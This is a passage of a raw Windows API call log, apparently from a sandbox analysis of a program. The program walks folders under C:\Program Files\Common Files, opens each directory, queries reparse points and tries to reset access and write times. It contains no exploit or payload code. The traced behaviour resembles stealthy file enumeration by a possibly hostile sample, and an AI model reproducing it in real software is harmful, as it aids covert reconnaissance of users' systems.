SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0144.764] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b3cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x9b3cb8, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0144.764] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b38 [0144.765] GetLastError () returned 0x12 [0144.765] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829c78 [0144.765] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0144.765] GetLastError () returned 0x12 [0144.765] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.765] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines" (normalized: "c:\\program files\\common files\\speechengines"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.767] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines" (normalized: "c:\\program files\\common files\\speechengines"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.767] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0144.767] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b3cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x9b3cb8, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0144.767] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829c78 [0144.768] GetLastError () returned 0x12 [0144.768] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b38 [0144.768] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.768] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" (normalized: "c:\\program files\\common files\\speechengines\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.770] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" (normalized: "c:\\program files\\common files\\speechengines\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.770] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.771] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b3cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x9b3cb8, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.771] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829c78 [0144.771] GetLastError () returned 0x12 [0144.772] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829c38 [0144.772] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.772] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.773] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.773] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b3cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9b3cb8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.773] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c78 [0144.774] GetLastError () returned 0x12 [0144.774] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.774] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.774] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.776] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.776] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b3cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x9b3cb8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.776] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.777] GetLastError () returned 0x12 [0144.777] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829cf8 [0144.777] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.777] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk"), fInfoLevelId=0x0, lpFileInformation=0x1a7e868 | out: lpFileInformation=0x1a7e868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.778] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0144.778] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b3cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x9b3cb8, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0144.778] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e6b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e6b4) returned 0x829c78 [0144.779] GetLastError () returned 0x12 [0144.779] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e6b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e6b4) returned 0x829bf8 [0144.779] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.779] GetLastError () returned 0x12 [0144.779] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.779] GetLastError () returned 0x12 [0144.780] FindClose (in: hFindFile=0x829cf8 | out: hFindFile=0x829cf8) returned 1 [0144.780] GetLastError () returned 0x12 [0144.780] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.780] GetLastError () returned 0x12 [0144.780] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.780] GetLastError () returned 0x12 [0144.780] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0144.780] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System" (normalized: "c:\\program files\\common files\\system"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System" (normalized: "c:\\program files\\common files\\system"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0144.783] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0144.783] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b3cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x9b3cb8, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0144.783] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b38 [0144.786] GetLastError () returned 0x12 [0144.786] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829c38 [0144.786] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0144.786] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado" (normalized: "c:\\program files\\common files\\system\\ado"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado" (normalized: "c:\\program files\\common files\\system\\ado"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0144.787] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.788] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b3cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x9b3cb8, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.788] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829b38 [0144.790] GetLastError () returned 0x12 [0144.790] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cb8 [0144.790] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0144.790] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US" (normalized: "c:\\program files\\common files\\system\\ado\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US" (normalized: "c:\\program files\\common files\\system\\ado\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0144.792] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.792] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b6600, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9b6600, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.792] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829b38 [0144.793] GetLastError () returned 0x12 [0144.793] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cf8 [0144.793] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0144.793] GetLastError () returned 0x12 [0144.793] FindClose (in: hFindFile=0x829cf8 | out: hFindFile=0x829cf8) returned 1 [0144.793] GetLastError () returned 0x12 [0144.793] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.793] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US" (normalized: "c:\\program files\\common files\\system\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.795] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US" (normalized: "c:\\program files\\common files\\system\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.795] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.795] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b6600, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x9b6600, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.795] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cb8 [0144.797] GetLastError () returned 0x12 [0144.797] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cf8 [0144.797] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.797] GetLastError () returned 0x12 [0144.797] FindClose (in: hFindFile=0x829cf8 | out: hFindFile=0x829cf8) returned 1 [0144.797] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc" (normalized: "c:\\program files\\common files\\system\\msadc"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc" (normalized: "c:\\program files\\common files\\system\\msadc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0144.799] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.799] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b6600, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x9b6600, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.799] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cf8 [0144.802] GetLastError () returned 0x12 [0144.802] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cb8 [0144.802] FindClose (in: hFindFile=0x829cf8 | out: hFindFile=0x829cf8) returned 1 [0144.802] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0144.803] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.803] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b6600, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9b6600, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.804] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cf8 [0144.806] GetLastError () returned 0x12 [0144.806] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829b38 [0144.806] FindClose (in: hFindFile=0x829cf8 | out: hFindFile=0x829cf8) returned 1 [0144.806] GetLastError () returned 0x12 [0144.806] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0144.807] GetLastError () returned 0x12 [0144.807] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.807] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI" (normalized: "c:\\program files\\common files\\system\\msmapi"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.809] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI" (normalized: "c:\\program files\\common files\\system\\msmapi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.809] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.809] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b6600, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x9b6600, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.809] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cb8 [0144.811] GetLastError () returned 0x12 [0144.811] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common 